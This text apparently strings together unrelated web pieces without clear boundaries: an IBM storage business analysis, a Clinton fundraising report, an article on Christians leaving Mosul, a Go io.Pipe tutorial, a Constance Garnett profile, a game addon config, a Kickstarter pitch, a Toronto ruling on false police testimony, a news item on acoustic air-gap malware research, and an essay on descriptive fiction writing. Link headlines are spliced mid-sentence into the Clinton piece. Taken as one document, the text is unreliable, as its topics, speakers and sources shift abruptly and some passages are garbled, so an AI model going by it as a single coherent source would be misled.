… about half of our systems segment revenue in 2015 was to address analytics workloads, or hybrid and private clouds. … Even though the Unix market is declining, by delivering innovation and repositioning the platform, our Power systems have grown four quarters in a row.“ But that apparent determination to grow the non-x86 server business was not paralleled in the storage hardware business; “The growth in our servers was mitigated by a seven per cent [constant currency] decline in storage hardware, which continues to be impacted by weakness in traditional disk and tape.” Analysis IBM could exit the commodity x86 server hardware business and focus on its proprietary z Systems and Power Servers. No such exit strategy appears possible in general disk and tape storage, where commoditisation of disk is affecting IBM. “Value in the storage market continues to shift to software and offering requirements that are driving demand for flash and object-based storage,” said Schroeter. “We are well-positioned in these new areas, with growth in flash, and our recent acquisition of Cleversafe.” This implies that IBM is not at all well-positioned in the general SAN and filer hardware area, and products here have been left on their own. We can infer that development budgets for these product areas will not be growing. Will IBM be looking to build hyper-converged infrastructure appliances (HCIA) using its Power servers as a base? We think not, as commodity x86 server-based HCIAs could undercut them on price. Our thinking is that IBM could be doing well in server-based storage, but may be thinking that capacity-focussed SAN and filer storage is heading towards a commoditised on-premises game, which it doesn’t want anything to do with, or to public cloud provision where its storage software, like Cleversafe, has a role. Therefore, IBM’s storage hardware business could dip to a $2bn annual revenue run rate by the end of 2016 and fall below $2bn in 2017. In the fourth 2015 quarter, storage hardware accounted for 32 per cent of IBM’s hardware business. We expect that to fall below 30 per cent this year, and head towards a 25 per cent contribution. This is, it seems to us, a managed decline, with IBM wanting a smaller, but presumably more profitable, storage hardware business to eventually emerge. ® -Hillary Clinton Hillary Diane Rodham ClintonSanders: 'I fully expect' fair treatment by DNC in 2020 after 'not quite even handed' 2016 primary Sanders: 'Damn right' I'll make the large corporations pay 'fair share of taxes' Former Sanders campaign spokesman: Clinton staff are 'biggest a--holes in American politics' MORE’s presidential campaign raised $11.3 million online over the last three days, the campaign announced Tuesday. ADVERTISEMENT The “record-breaking” figure is the most Clinton has raised over a 72-hour period since she became the nominee at the Democratic National Convention in July, according to the campaign. The sum only includes online fundraising. The surge in contributions came after FBI Director James Comey sent a letter to Congress on Friday informing them that his agency discovered the existence of emails that appear to be “pertinent” to its investigation into the private email server Clinton used while secretary of State. It was later revealed that the emails were found on a computer belonging to former Rep. (D-N.Y.) Anthony Weiner, the estranged husband of longtime Clinton aide Huma Abedin who is under investigation for allegedly exchanging sexually explicit messages with a minor. Comey’s letter was widely criticized by Democrats for being vague, and Clinton's surrogates have assailed Comey for not being more forthcoming. Republican nominee Donald Trump Donald John TrumpHouse committee believes it has evidence Trump requested putting ally in charge of Cohen probe: report Vietnamese airline takes steps to open flights to US on sidelines of Trump-Kim summit Manafort's attorneys say he should get less than 10 years in prison MORE has seized on the FBI's move as he seeks to make up ground in the polls ahead of Election Day. -As jihadists expel Christians from Mosul, the international community responds. There is a mass exodus of Christians from the Iraqi city of Mosul, the second largest city in Iraq. The Muslim fanatics who have taken over the city, calling themselves the Islamic State, issued an ultimatum to the city’s Christians earlier this month, saying that if they did not leave by Saturday, July 19, they “must convert to Islam, pay a fine, or face ‘death by the sword.’” As of Tuesday, most of the city’s estimated 3,000 Christians had fled. Further, the Islamic State, formerly known as ISIS, had marked homes and businesses owned by Christians with a red, painted ن (pronounced “noon”), the 14th letter of the Arabic alphabet and the equivalent to the Roman letter N. The ن stands for Nasara or Nazarenes, a pejorative Arabic word for Christians. The ن is now being shared on social media as a symbol of solidarity with the Iraqi Christians forced to flee their homes. The Catholic blog Rorate Caeli has wrote, the Islamists “mean it as a mark of shame, we must then wear it as a mark of hope. . . . You may kill our brethren and expel them but we Christians will never go away.” The hashtag #WeAreN is also trending, along with pictures of people of all religions drawing the ن in red ink on their bodies. When asked why he changed his profile picture to the ن, political consultant Ryan Girdusky said, “I changed it because of the lack of response by our media and our president . . . We feel like the Christian community is being persecuted at the same time the Palestinians are being given constant attention. There is a Christian genocide and no one is paying attention.” The mass exodus has incited international criticism, even from Muslim scholars. Al Jazeera quoted Iyad Ameen Madani, the secretary general of the Organization of Islamic Cooperation (OIC) as saying, “This forced displacement is a crime that cannot be tolerated.” Yesterday, the United Nations’ secretary general, Ban Ki Moon, said that the treatment of Iraqi Christians “may constitute a crime against humanity.” He also “condemned” ISIS’s actions “in the strongest terms.” Mosul has played a role in Christian history since the first and second centuries, when the Assyrians in the city converted to Christianity. It is the home to many churches, as well as mosques and synagogues. Al Jazeera described, via an Assyrian Christian who chose to stay behind, how a statue of the Virgin Mary outside of one of Mosul’s churches was destroyed and replaced with a black flag. This Christian is one of the last left in Mosul, as most others have fled, many leaving with only the clothes on their backs. Advertisement — Christine Sisto is an editorial associate at National Review Online. -Examples For Using io.Pipe in Go Much has been written and said about the work of art that are the io.Reader and io.Writer interfaces. Simple, yet powerful - just as Go itself. In this post I want to showcase another part of the Go standard library that I find to be both simple and powerful - io.Pipe. pr , pw := io . Pipe ( ) According to the docs, io.Pipe creates a synchronous in-memory pipe, which can be used to connect code expecting io.Reader with code expecting io.Writer . Upon invocation, io.Pipe() returns a PipeReader and a PipeWriter . They are connected (hence the pipe), so that everything written to the PipeWriter can be read from the PipeReader . The following three examples show use-cases of io.Pipe , its versatility and the way of thinking and composing I/O it enables us to do. Let’s get started! Example 1: JSON to HTTP Request This is the go-to example one usually sees when it comes to io.Pipe . We encode some data as JSON and want to send it to a web endpoint via http.Post . Unfortunately (or rather fortunately), the JSON encoder takes an io.Writer and the http request methods expect an io.Reader as input, so we can’t just plug them together. Of course we could always create intermediate []byte representations, but that is neither memory efficient nor particularly elegant. This is where io.Pipe comes in: pr , pw := io . Pipe ( ) go func ( ) { // close the writer, so the reader knows there's no more data defer pw . Close ( ) // write json data to the PipeReader through the PipeWriter if err := json . NewEncoder ( pw ) . Encode ( & PayLoad { Content : "Hello Pipe!" } ) ; err != nil { log . Fatal ( err ) } } ( ) // JSON from the PipeWriter lands in the PipeReader // ...and we send it off... if _ , err := http . Post ( "http://example.com" , "application/json" , pr ) ; err != nil { log . Fatal ( err ) } First, we encode some struct PayLoad to JSON and write the data to the PipeWriter created by invoking io.Pipe . Afterwards, we create a http POST request, which gets its data from the PipeReader . That PipeReader gets filled with the data written to the PipeWriter . Important to note here is that we have to encode asynchronously to prevent a deadlock, because we would write without a reader if we didn’t. This practical example showcases the versatility of io.Pipe very well. It really incentivizes gophers to build components using io.Reader and io.Writer , without having to worry about them being used together. Example 2: Split up Data with TeeReader I found another very cool way of using io.Pipe together with TeeReader (read: T-Reader) in @rodaine’s great blog post about asynchronously splitting an io.Reader . In Solution #4, he describes the use-case of using a video-file and simultaneously transcode it to another format and uploading that, while also uploading the original file. All with minimal overhead and completely in parallel. Based on this solution, I tried to capture the gist of it with the following example: pr , pw := io . Pipe ( ) // we need to wait for everything to be done wg := sync . WaitGroup { } wg . Add ( 2 ) // we get some file as input f , err := os . Open ( "./fruit.txt" ) if err != nil { log . Fatal ( err ) } // TeeReader gets the data from the file and also writes it to the PipeWriter tr := io . TeeReader ( f , pw ) go func ( ) { defer wg . Done ( ) defer pw . Close ( ) // get data from the TeeReader, which feeds the PipeReader through the PipeWriter _ , err := http . Post ( "https://example.com" , "text/html" , tr ) if err != nil { log . Fatal ( err ) } } ( ) go func ( ) { defer wg . Done ( ) // read from the PipeReader to stdout if _ , err := io . Copy ( os . Stdout , pr ) ; err != nil { log . Fatal ( err ) } } ( ) wg . Wait ( ) My example is of course simplified in that it doesn’t use channels for propagating errors and results, but the underlying concept is quite similar - we have some kind of input io.Reader , a file in this case and create a TeeReader , which returns a Reader that writes to the Writer you provide it everything it reads from the Reader you provide it. Now we start two goroutines, one which just prints the data to stdout and another one which sends it to an HTTP endpoint. The TeeReader uses the io.Pipe to split up the given input. When the TeeReader is consumed, those same bytes are also received by the PipeReader . Pretty cool, ha? Example 3: Piping the output of Shell commands I stumbled over this gist recently, which combines io.Pipe with os.Exec in a nice way. Basically, it does what most task runners in CI services like Jenkins or Travis CI do, which is execute some shell command and show its output on some website. I tried to encapsulate the general pattern behind it in this short snippet here: pr , pw := io . Pipe ( ) defer pw . Close ( ) // tell the command to write to our pipe cmd := exec . Command ( "cat" , "fruit.txt" ) cmd . Stdout = pw go func ( ) { defer pr . Close ( ) // copy the data written to the PipeReader via the cmd to stdout if _ , err := io . Copy ( os . Stdout , pr ) ; err != nil { log . Fatal ( err ) } } ( ) // run the command, which writes all output to the PipeWriter // which then ends up in the PipeReader if err := cmd . Run ( ) ; err != nil { log . Fatal ( err ) } First, we define our command - in this case, we just cat a file called fruit.txt , which will just spit out the contents of the file on stdout . Then, and this is important, we set the command’s stdout to our PipeWriter . So we redirect the output of the Command to our pipe, which, as before, will make it possible to read it through our PipeReader at another point. In this rather contrived case, that point is just a goroutine where we dump the results of cat to stdout (which it would have done anyways), but I think it’s easy to imagine doing something nifty here like exporting the results of the command somewhere or flushing it to a webpage as seen in this gist, where we’d need an io.Writer as input. Conclusion I hope these examples helped to convince you of the many opportunities opened by using io.Pipe together with nice abstractions which expect either io.Reader or io.Writer . Not only does io.Pipe enable seamless composition of components based on best practices, it’s also quite flexible with the use of TeeReader , which points the vast possibilities of using io.Pipe in custom-made I/O handling pipelines in both a readable and scalable way. Of course this post only scratched the surface on this topic, as it didn’t handle the inherent gotchas with this approach nor error handling, but I plan to remedy this by a post or two on these and some more advanced topics in the future. Have fun pipin’! :) Resources -For years, the works of Russia’s towering men of letters—Tolstoy, Dostoevsky, Chekhov, Goncharov, Turgenev—lay beyond the reach of English-speaking readers. That is, until a pale, sickly, unassuming British mother decided to translate them. To the extent that 19th century Russian fiction deals with universal themes of human existence — nature, religion, love, death, and, of course, war and peace — these beloved tomes can feel timeless to readers. But the fact is, the English-speaking reading public didn’t get their hands on them until some years after their publication, when Constance Garnett picked up a dictionary and set out to bring the Russian masters to life in her native tongue. The Brighton-born Garnett (née Black) was a coroner’s daughter, and worked as a governess before becoming a librarian in London’s East End. Her sister Clementina, a writer and labor organizer, introduced Constance to Edward Garnett, the man who would become her husband in 1889. Edward was a publisher’s reader, and was from an aristocratic literary family. His father was the Keeper of Printed Materials at the British Museum. There weren’t many Russian speakers in turn-of-the-century Britain, but because of growing political unrest in the major cities of the Russian Empire, there were increasing numbers of exiled Russian revolutionaries. And the suggestion that Garnett translate Russian literature came from one of them — despite the fact she spoke no Russian. Constance may have had something of a crush on Feliks Volkhovsky, a bearded bad boy who had escaped imprisonment in Siberia and settled in London. So when he broached the idea, she was amenable. Volkhovsky was part of a community of political thinkers and writers, and an editor at the Free Russian Press, an emigré journal and publishing house started by Alexander Herzen, the “father of Russian socialism.” Edward Garnett regularly invited members of the Free Russian Press scene to spend weekends at his home. On one weekend visit, Volkhovsky, according to Constance, “suggested my learning Russian and gave me a grammar and a dictionary.” Leo Tolstoy relaxing at Yasnaya Polyana in 1908. (Sergey Prokudin-Gorsky/Library of Congress) Once laid up with pregnancy complications, Garnett undertook the mammoth task of learning the notoriously complex Slavic language. One of her first translations was “The Kingdom of God is Within You,” a religious and philosophical tract by Leo Tolstoy. She went on to translate over 70 volumes of Russian literature, including almost everything Tolstoy ever wrote, Chekhov, all of Dostoevsky, and her favorite, Turgenev, among others. In 1894, Garnett took a three-month trip to Russia, and even visited Tolstoy at his estate, Yasnaya Polyana. Clara Bell, a British linguist, had published a translation of War and Peace in 1886, but hers was a copy of copy, translated from a French translation, not the original Russian, and it wasn’t well received. The first ever English translation of Anna Karenina was done by an American, Nathan Haskell Dole, the same year. But because of the readability of Garnett’s versions, and her close ties to the publishing industry, her editions were printed cheaply and sold more widely than any that had come before. The Russian classics began to find their way into English homes and classrooms. A 1905 article in the Saturday Review, a British literary magazine, began, “Twenty years ago Tolstoy was hardly known outside Russia […] Who has not heard of Tolstoy now?” Garnett maintained, in the words of New Yorker editor David Remnick, “an ascetic lifelong routine of housekeeping, child-rearing, and translating.” She worked ceaselessly. D.H. Lawrence, who was a friend of Garnett’s, recalls seeing her sitting in her garden “turning out reams of her marvelous translations from the Russian. She would finish a page, and throw it off on a pile on the floor without looking up, and start a new page. That pile would be this high — really, almost up to her knees, and all magical.” In 1921, writer Katherine Mansfield sent a letter to Garnett: “As I laid down my copy of War & Peace tonight I felt I could no longer refrain from thanking you for the whole other world that you have revealed to us through these marvelous translations from the Russian,” she wrote. Of Garnett’s body of work, she said, “The books have changed our lives, no less.” Garnett’s output was extraordinary by any measure, but is particularly impressive considering that she had a child to mind and spent the majority of her life in very ill health. She was frail, beset by migraines, and suffered from sciatica. Most surprisingly, she had terrible vision, which was dramatically worsened by her vocation, and was nearly blind toward the end of her translating career. But she remained indefatigable, eventually hiring an assistant to read aloud from the original Russian as she scribbled a translated draft. The work of the translator, when not overlooked entirely, is often subject to extreme scrutiny, and Garnett has certainly not been spared. She reportedly translated with such haste that she occasionally skipped words or phrases that were too difficult to translate well — a fact that has pained purists and native Russian speakers, who think Garnett robs the reader of the richness of the original Russian. Most vociferous among her critics were Russian writers themselves, most notably Nabokov, whose lectures on literature are peppered with grumpy, anti-Garnett marginalia. He called her work “dry and flat, and always unbearably demure,” and her translation of Anna Karenina “a complete disaster.” Nobel Prize-winning poet Joseph Brodsky, another Russian writer in exile, lamented that “the reason English-speaking readers can barely tell the difference between Tolstoy and Dostoevsky is that they aren’t reading the prose of either one. They’re reading Constance Garnett.” -EDIT: Would be nice to see some of you post your finished models. or even release them to the scripts / addon section! class CfgPatches { class clan_sign_tutorial { units[] = {""}; weapons[] = {}; requiredVersion = 0.1; requiredAddons[] = {"CAData","CAMisc3"}; }; }; class CfgAddons { class clan_sign_tutorial { list[]= { "Clan_Sign", }; }; }; class CfgVehicleClasses { class clan_sign_tutorial { // name in the editor displayName="3D Model Tutorial"; }; }; class CfgVehicles { class Thing; // External class reference class Clan_Sign: Thing { scope = 2; model = "\tutorial\sing.p3d"; icon = "\Ca\misc\data\icons\i_danger_CA.paa"; displayName = "Clan Sign"; mapSize = 0.7; accuracy = 0.2; vehicleClass = "clan_sign_tutorial"; destrType = "DestructNo"; }; }; Click to expand... Ok, everything in a video for this one.This will bring us to the point that we can have a working model in game. After this I will follow up with an rvmat that we can applyDownload link for the Blender conversion script:And a thanks of course to Alwarren who developed the script.Next tutorial will cover rvmatsHere is the complete config: -Welcome to We are on kickstarter to raise awareness of our cause and our brand. We will use everything we raise on the business and on establishing our brand to make our vision a reality. Clothing is a basic essential that so far our society has mainly used for style or the eyes of others. To tell others who we are or who we want to be. We wear our clothes all day and that message radiates outward the whole time. Until you look in a mirror. Sending a Message Inside We believe that clothing is the perfect medium and opportunity for sending a message inside to ourselves. We will keep fashion designs with plenty of style but simply add a reverse image of a message. A message that touches you in a meaningful way every time you look in the mirror or take a selfie. Whether that message is Positive Reinforcement, A Personal Reminder, Internal Fire, etc. Whatever the case may be, you decide what kind of message works best for the betterment of yourself. Our main goal is to put a bigger importance on who we are on the inside as opposed to how we are perceived on the outside. We want to build this brand for children and teenagers because their minds are still developing. Especially when starting young, we can use clothing as another method of teaching good traits and qualities, even when we can't always be there. Our brand can also help young adults and above. To whom we serve positive reminders, or simple qualities that we may not always remember. -Drug charges against three men have been thrown out after a judge ruled that a Toronto police officer had been “deliberately misleading” in his testimony and notes in an attempt to “strengthen the case” against one of the accused. Const. Bradley Trenouth “falsely attributed” a large piece of crack to Toronto man Jason Jaggernauth, Judge Katherine Corrick wrote in her Aug. 8 decision, staying the charges against Jaggernauth. In her decsion, a judge wrote that public confidence in the rule of law is threatened "when police officers present false evidence against accused persons.” ( Andrew Lahodynskyj / Toronto Star file photo ) Because of Trenouth’s actions, Corrick excluded evidence gathered by him and other officers from the trial of Jaggernauth’s co-accused, leading the judge to find them not guilty in the same decision. “The false attribution of evidence to an accused’s possession, and false testimony by a police officer constitute precisely the type of state misconduct that undermines the integrity of the judicial process,” Corrick wrote. Jaggernauth, Jordan Davis and Jimal Nembrand-Walker were charged with possession of cocaine for the purpose of trafficking and possession of the proceeds of crime in 2014, after police found them in a Scarborough apartment that contained multiple types of drugs and drug paraphernalia. Article Continued Below Police officers found several grams of crack on Davis and crack, powdered cocaine and other drugs in Nembrand-Walker’s pockets at the time of the arrest, Corrick wrote in her decision. Police did not find any drugs on Jaggernauth, Corrick said. Trenouth testified in a pretrial hearing that he saw a large piece of crack fall from Jaggernauth when officers got Jaggernauth to stand up from his chair — testimony that was backed up by the notes Trenouth said he took at the time of Jaggernauth’s arrest, according to the judge’s decision. But at the trial several months later, Trenouth told the court that he did not see the crack fall from Jaggernauth, Corrick wrote. Instead, Trenouth testified that he found the piece of crack on the floor near Jaggernauth and assumed it had fallen from him. Corrick noted other discrepancies between Trenouth’s pretrial and trial testimonies in her decision. At the preliminary hearing, Trenouth said he picked the large ball of crack off the floor after forensic officers had taken photos of the scene. But the photos taken do not include images of that specific piece of crack, Corrick wrote. Trenouth told the court that might be because the piece of crack had been moved or stepped on before the photos were taken. Article Continued Below The large piece of crack was also missing from evidence photos taken by police about three hours later, in Trenouth’s presence, the judge said. Trenouth’s story changed at trial, where he said there were no photos of the piece of crack because he had already picked it up and put it in his pocket before the photos were taken, Corrick wrote. Corrick ruled on Aug. 8 that Trenouth did not find the crack near Jaggernauth, as the police officer had claimed. “I have concluded that Officer Trenouth was deliberately misleading when he prepared his notes and testified at the preliminary hearing, in an effort to strengthen the case,” Corrick wrote. It is unlikely that Trenouth, who has eight years of police experience, would pick up unwrapped drugs and put them in his pocket at a crime scene, Corrick said. And if Trenouth had merely been mistaken in his pretrial testimony, he should have informed the Crown before the case went to trial, the judge added. An investigation should be immediately opened into Trenouth’s conduct in the case, Jaggernauth’s lawyer Chris O’Connor said in an interview. “The bottom line is . . . an officer falsely attributed an exhibit to my client that never was on my client,” O’Connor said. Toronto police spokesperson Meaghan Gray said she “can’t say whether (Trenouth) will face any discipline.” All disciplinary matters are confidential until the officer in question has appeared before a police services tribunal, Gray added. “Generally speaking an investigation into allegations of an officer providing false evidence in court could lead to criminal charges (such as) perjury or (internal) discipline under the Police Services Act,” Gray said. Corrick was scathing in her decision about the effects of Trenouth’s false testimony. “It is difficult to imagine how public confidence can be maintained in the rule of law when police officers present false evidence against accused persons,” Corrick wrote. “Our justice system cannot function unless courts can rely on the willingness of witnesses to . . . tell the truth.” -If you think that a computer which is not connected to a network, doesn't have any USB sticks attached to it and doesn’t accept any kind of electronic connection requests are reasonably safe against hackers and from all the malware, then you are Wrong. Inaudible Audio signals. Here we have something shocking update that Some German Scientists have developed a proof of concept Malware prototype, could allow a hacker to infect your computers and other digital devices just using The ability to bridge an air gap could be a potent infection vector. Just imagine, a cyber attack using high-frequency sound waves to infect machines, where stolen data also can be transferred back to attacker without a network connection, Sounds very terrifying ? Dragos Ruiu claimed malware dubbed badBIOS allowed infected machines to communicate using sound waves alone, means that the devices are physically disconnected from any networks, including the internet, people said he was crazy. When a few weeks ago, a security researcherclaimed malware dubbedallowed infected machines to communicate using sound waves alone, means that the devices are physically disconnected from any networks, including the internet, people said he was crazy. But Now German Researchers have published a paper on how malware can be designed to cross the air gap by transmitting information through speakers and recording it via microphone. Rather than relying on TCP-IP, they used a network stack originally developed for underwater communication and the signal was propagated through the use of a software-defined modem based on the GNU Radio project. In a scenario based hacking, “The infected victim sends all recorded keystrokes to the covert acoustical mesh network. Infected drones forward the keystroke information inside the covert network till the attacker is reached, who is now able to read the current keyboard input of the infected victim from a distant place.” paper explained. In another scenario, the researchers used sound waves to send keystroke information to a network-connected computer, which then sent the information to the attacker via email. Dragos dedication about badBIOS research because this extraordinary concept was first introduced by him only. While the research doesn’t prove Dragos Ruiu’s badBIOS claims, but it does show that even if the system is disconnected from any network, could still be vulnerable to attackers. However, I would like to appreciatededication about badBIOS research because this extraordinary concept was first introduced by him only. Researchers POC Malware is able to transfer data at 20 bits per second only, which is very low, but that's still capable of transferring your password or credit card number to the hacker in a few seconds. Some basic countermeasures one can adopt to protect against such malware are: Switching off the audio input and output devices from the system. Employ audio filtering that blocks high-frequency ranges. Using an Audio Intrusion Detection Guard. Lets see how Antivirus companies will handle such threats to protect home users. -While it is hard enough to describe something effectively in fiction1—how a thing smells, moves, looks—sometimes it is useful to further describe how exactly a thing seems or appears to be, above and beyond any discernible physical characteristics. The ineffable sense of how things are often makes up the best and most memorable aspect of a piece of writing, but it can be among the hardest things to get right. It is useful for writers to remember that often this aspect of seeming and appearing will be conveyed through metaphor; and often the seeming and appearing will touch in some way on the meaning of what is being observed—or will include a mention of a character’s feelings about, or engagement with, the thing observed. Note that the description of the ineffable sense of a thing will almost always be preceded by a more basic, sometimes quite extended, physical description. The writer in this case takes on the role of Dr. Frankenstein. With Igor’s help, the writer assembles legs, arms, torso, neck, head, and brain. The writer arranges all this stuff on the table, sews it together. But it is still dead (if vivid) matter. Then the writer applies the electricity—describes the mysterious, often quasi-metaphorical sense of a thing—and the thing opens its eyes and comes to life. For example, in Alice Munro’s 1979 story “The Beggar Maid”, we find Rose, a scholarship student, just entering college. She is compelled to attend a meeting with other scholarship students, and, arriving with an unprepossessing companion at the room where the meeting is held, Rose hesitates outside the door. There was a little window in the door. They could look through at the other scholarship winners already assembled and waiting. It seemed to Rose that she saw four or five girls of the same stooped and matronly type as the girl who was beside her, and several bright-eyed, self-satisfied babyish-looking boys. It seemed to be the rule that girl scholarship winners looked about forty and boys about twelve. It was not possible, of course, that they all looked like this. It was not possible that in one glance through the windows of the door Rose could detect traces of eczema, stained underarms, dandruff, moldy deposits on the teeth and crusty flakes in the corners of the eyes. That was only what she thought. But there was a pall over them, she was not mistaken, there was a true terrible pall of eagerness and docility. Notice how Rose’s observation of this long exact list of gross-out sufferings—”eczema, stained underarms, dandruff, moldy deposits on the teeth and crusty flakes in the corners of the eyes”—is implicitly disowned twice (we are told that this is only how “it seemed”) and very explicitly disowned three times: “It was not possible, of course….It was not possible….That was only what she thought.” (And notice further that Rose’s disowning of the list in no way erases the impression the list has made on us.) But no, Munro is onto something with these disavowals—because it’s true, these physical complaints are not what Rose has seen, not exactly. What she has seen is something else, something further, an impression of something, that she cannot really point to. She has seen “a pall”—literally, “something that covers, shrouds, or overspreads, esp. with darkness or gloom.” But where is the pall? Where is it in the room? Is it hovering “over them”, up near the light fixtures? We understand from Munro’s unusual insistence that we are not meant to take this as just a metaphor: “But there was a pall over them, she was not mistaken, there was a true terrible pall of eagerness and docility.” But what is this, really? What is being described here? Nothing less than the sense of how things are, a sudden, almost mystical understanding of the truth about these people. And with this description, zap, the world of the room takes on meaning, and life. The Frankenstein Effect, at its finest. Munro is a past master at this (and a million other things). In her story “Dance of the Happy Shades” (1961), a group of mentally disabled children arrive at a much anticipated piano recital. The narrator senses something going on: It is while I am at the piano, playing the minuet from Berenice, that the final arrival, unlooked-for by anybody but Miss Marsalles, takes place. It must seem at first that there has been some mistake. Out of the corner of my eye I see a whole procession of children, eight or ten in all, with a red-haired woman in something like a uniform, mounting the front step. They look like a group of children from a private school on an excursion of some kind (there is that drabness and sameness about their clothes) but their progress is too scrambling and disorderly for that. Or this is the impression I have; I cannot really look. Is it the wrong house, are they really on their way to the doctor for shots, or to Vacation Bible Classes? No, Miss Marsalles has got up with a happy whisper of apology; she has gone to meet them. Behind my back there is a sound of people squeezing together, of folding chairs being opened, there is an inappropriate, curiously unplaceable giggle. And above or behind all this cautious flurry of arrival there is a peculiarly concentrated silence. Something has happened, something unforeseen, perhaps something disastrous; you can feel such things behind your back. You can’t, of course—not really—but then again, yes you can. The many tiny details have added up to something impalpable and profound, something that goes beyond description—something that has, almost literally, entered the air of the room. Almost literally is the point here. On the verge of literalness. Note that not every description calls for a metaphysical component. Usually this sort of technique is most useful when a character is observing a complicated scenario—an airport concourse, a crammed bookshelf, a busy restaurant—in which a number of objects or people are involved, and where it is useful to convey both a sense of particularity and an overall impression of things. But always when you see a writer deploying the terms an air of an atmosphere of a sense of an impression of and other similar shortcuts, you ought to feel the hair rising on the back of your neck, because Dr. Frankenstein is warming up his generator. And things are about to get metaphysical. The P:V Ratio If a metaphysical understanding is to be in some fashion arrived at through the medium of the world, then we may note that different authors derive this metaphysical understanding differently. Some writers prefer to assemble more world on the table before applying the electricity that represents a greater understanding. We may therefore find it suitable to change our underlying metaphor, leaving behind all these dripping body parts our assistant has so obligingly harvested, and propose instead a more congenial potatoes-to-vodka ratio, where some writers prefer to assemble more potatoes (or “world”) and others fewer, to arrive at a given amount of distilled spirit (or “understanding”). In this new potatoes-to-vodka model, the potatoes, of course, are the physical matter of a story—shoes, ceilings, arguments, sentences, eyebrows, wind, cat hair, Coca-Cola, and jump ropes3, while vodka is the metaphysical understanding derived from these physical things. We may call this a writer’s p:v ratio, representing the efficiency with which a writer typically makes use of the world. In the following selections, potatoes are set in bold and spirit, in italics. Alice Munro will, as always, provide a useful—and in this case usefully typical—example. In “Hateship Friendship Courtship Loveship Marriage”, a middle-aged, unattractive woman shops for a fancy dress, thinking (at this point falsely) that she is going to be married in it. She enters the shop: Along one wall was a rack of evening dresses, all fit for belles of the ball with their net and taffeta, their dreamy colors. And beyond them, in a glass case so no profane fingers could get at them, half a dozen wedding gowns, pure white froth or vanilla satin or ivory lace, embroidered in silver beads or seed pearls. Tiny bodies, scalloped necklines, lavish skirts. Even when she was younger she could never have contemplated such extravagance, not just in the matter of money but in expectations, in the preposterous hope of transformation, and bliss. Here the metaphysical understanding has plainly been reached by means of the physical observation. The potatoes of the shop provide a sort of ballast to the abstracted thought, but also provide the means by which to arrive at it. A reasonable amount of world (the rack, the net and taffeta, et cetera) produces in a character a reasonable amount of mind-stuff. Munro is unique in her ability but not in her technique; most writers’ habits in this regard at least superficially resemble Munro’s, deploying a moderate amount of stuff to arrive at a moderate amount of spirit. And perhaps it is this moderation that allows us to qualify a writer as “realistic”—most of us seem to experience the world at something like this measured pace, after all, as we move through our days both beset by sensory input and at the same time subject to the addled and improvisatory workings of our own brains.4 In a similar vein, John Updike observes before he transcends, in “The Afterlife”: A broad-faced strawberry blonde, she had always worn sweaters and plaid pleated skirts and low-heeled shoes for her birding walks, and here this same outfitseemed a shade more chic and less aggressively “sensible” than it had at home. Her pleasant plain looks, rather lost in the old crowd of heavily groomed suburban wives, had bloomed in this climate; her manner, as she showed them the house and their room upstairs, seemed to Carter somehow blushing, bridal.5 If this balance between world and mind allows us to locate Munro and Updike in the solid realistic mainstream of contemporary fiction, what of some others? What happens if you prefer fewer potatoes? What if you prefer more? What if you’re not interested in describing spirit at all? Or what if you’re more interested in meaning than in matter, like some spats-wearing evangelist, waving your hands in the air in hopes of producing something from nothing? Clearly this requires an inadequate, seat-of-the-pants survey. Tweaking the P:V Ratio Some writers, of course, prefer to avoid the explicit statement of spirit entirely. Hemingway and his ilk have a very high ratio of potatoes-to-vodka, with Hemingway’s followers arranged around him in a haphazard spatter array. To take a familiar example, Raymond Carver’s “Why Don’t You Dance” lives almost entirely in the present, physical moment; a man, now without his wife (we gather she has left because of his drinking, among other reasons), puts his household belongings out in his yard and driveway, arranging them for sale just as they have been arranged in the house. A young couple comes along; the girl dances with the man, and is evidently affected by his plight. The story is told in simple, factual terms, with little or no reference to thoughts, feelings, or epiphanic realizations. The story’s final section, in its entirety, goes: Weeks later, she said: “The guy was about middle-aged. All his things right there in his yard. No lie. We got real pissed and danced. In the driveway. Oh, my God. Don’t laugh. He played us these records. Look at this record-player. The old guy gave it to us. And all these crappy records. Will you look at this shit?” She kept talking. She told everyone. There was more to it, and she was trying to get it talked out. After a time, she quit trying. Potatoes? Vodka? It is debatable. The girl is feeling something, of course, as the story suggests, but she can’t express it, possibly because she hasn’t got the equipment to do so. And because she can’t express it, we don’t get an explicit statement of it either. It’s possible to read the whole story as a pile of potatoes, with that last 26-word paragraph serving as the equivalent of the story’s spirit. The story’s last paragraph is in fact the mental result, finally, of a worldly encounter. At any rate, the ratio of potatoes to vodka here is very high, if indeed there is any vodka to divide by. By contrast, a writer may be particularly interested in spirit—literally so in the case of, for example, James Baldwin, whose stories and novels tend to avoid physical description while dwelling more on abstract concerns. In his story “The Outing”, three boys are on the make in various ways during a church retreat. Then they enter the meeting room: During his testimony Johnny and Roy and David had stood quietly beside the door, not daring to enter while he spoke. The moment he sat down they moved quickly, together, to the front of the high hall and knelt down beside their seats to pray. The aspect of each of them underwent always, in this company, a striking, even an exciting change; as though their youth, barely begun, were already put away; and the animal, so vividly restless and undiscovered, so tense with power, ready to spring had already stalked and trapped and offered, a perpetual blood-sacrifice, on the altar of the Lord. We sense here that, as is often the case for Baldwin, conflict is played out in an almost literal sense on the field of the personality, where such matters as identity and the fate of one’s soul are best and most frankly considered. The rendering of the Baldwin’s physical world is often minimal, as though such surface concerns are too trivial to consider.6 With these opposing practices in mind, we must now consider a minor and possibly self-evident corollary aspect of this idea, that of scale. Scale The scale under consideration here is the differing P:V ratio we find in stories versus novels. We know that novels tend to be richer in their effects than stories; specifically, we find that novelists tend to describe much more matter than a story writer will, but will derive from this matter roughly the same amount of spirit (or sometimes slightly more).7 In other words, novelists pile up more potatoes as a matter of course, but don’t derive giant gushing fountains of vodka. Longer descriptions leading to bigger heaps of stuff, but not a concomitant increase in the amount of understanding derived. You can only understand so much at once, after all. In Couples, John Updike describes Harold little-Smith’s house; Harold has just learned that his wife may be having an affair. This has the effect of rendering his house “more transparent”, and the description that follows is limpid to the extreme, if sometimes verging on the purple. The house is: …a flat-roofed redwood modern oriented along a little sheltered ridge overlooking the marsh to the south. The foyer was floored in flagstones; on the right an open stairway went down to a basement level where the three children (Jonathan, Julia, Henrietta) slept and the laundry was done and the cars were parked. Above this, on the main level, were the kitchen, the dining room, the master bedroom, a polished hall where hung reproductions of etchings by Rembrandt, Durer, Piranesi, and Picasso. To the left of the foyer a dramatically long living room opened up, with a shaggy cerulean rug and two facing white sofas and symmetrical hi-fi speakers and a Baldwin grand and at the far end an elevated fireplace with a great copper hood. The house bespoke money in the service of taste. In the summer evenings he would drive back from the station through the livelong light hovering above the tawny 